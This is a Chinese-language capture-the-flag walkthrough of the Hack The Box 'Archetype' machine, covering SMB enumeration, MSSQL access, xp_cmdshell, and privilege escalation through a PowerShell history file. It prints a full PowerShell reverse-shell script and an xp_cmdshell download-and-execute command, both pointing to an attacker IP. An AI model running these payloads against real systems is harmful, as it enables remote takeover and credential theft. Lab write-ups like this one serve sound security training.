HTB start point 1 - Archetype

  1. Enumeration
  2. Foothold
  3. Privilege escalation
  4. 后续

Enumeration

侦察阶段,根据Linux 侦察清单,收集开启的端口

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -sC -sV -p$ports 10.10.10.27

通过扫描可以发现445端口是开启的,服务是SQL Server。

根据smb 渗透清单

可能的漏洞为匿名用户登录

使用 smbclient -L 10.10.10.27发现

其中有backups可能是突破点,使用 smbclient //10.10.10.27/backups进入smb共享文件,然后发现在目录下有.dtsConfig的文件。

A DTSCONFIG file is an XML configuration file used to apply property values to SQL Server Integration Services (SSIS) packages. The file contains one or more package configurations that consist of metadata such as the server name, database names, and other connection properties to configure SSIS packages.

也就是SQLServer的配置文件。

使用get <filename>命令将文件拷贝到本地后打开发现,

这个也就是数据库的用户。但是要考虑的是,这个用户可能是没有高级权限的。

Foothold

要登录数据库,使用的是impackets工具箱中的mssqlclient.py 工具。

mssqlclint.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

  • 注意是/
  • windows的验证 -windows-auth

当进入mssql之后,要确定权限。

  • select IS_SRVROLEMEMBER('sysadmin')

确定权限后打开xp_cmdshell运行权限。 在mssqlclient.py中可以直接使用enable_xp_cmdshell一键开启

然后通过方向连接获得shell。

手册给出的手动解法是写一个getshell的文件,然后让目标机下载并执行。

所以这里就有4个点:

  1. 要让目标机下载攻击机中的文件,需要在攻击机上开启下载端口,这里给出的方法是使用http的方式下载。
    • python -m http.server 1633
  2. 目标机下载执行后需要与攻击机建立shell连接,所以需要另外一个监听端口。
    • nc -nvlp 5711
  3. 攻击机上shell.ps1这个文件怎么写
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.32",5711);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 
  1. 目标机上如何下载并运行shell.ps1文件
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.32:1633/shell.ps1\");""

这样就可以获得shell了。 那么还有没有其他的方法呢? 后面讨论

Privilege escalation

在本案例中,权限提升是通过找到目标机上的历史记录得到Administrator用户的。

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

net use 是将远端smb映射到本地上,并且通常会使用用户。

得到用户密码之后就是登录的操作了。

使用的工具是psexec

psexec administrator@10.10.10.27

flag 就在桌面目录上

后续

get shell 的工具:

  1. MSF exploit/windows/smb/psexec
    • 使用unicorn可以生成生成对应的shellcode
  2. psexec
  3. Winexe
  4. smbexec.py
  5. wmiexec.py
  6. CrackMapExec

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 365433079@qq.com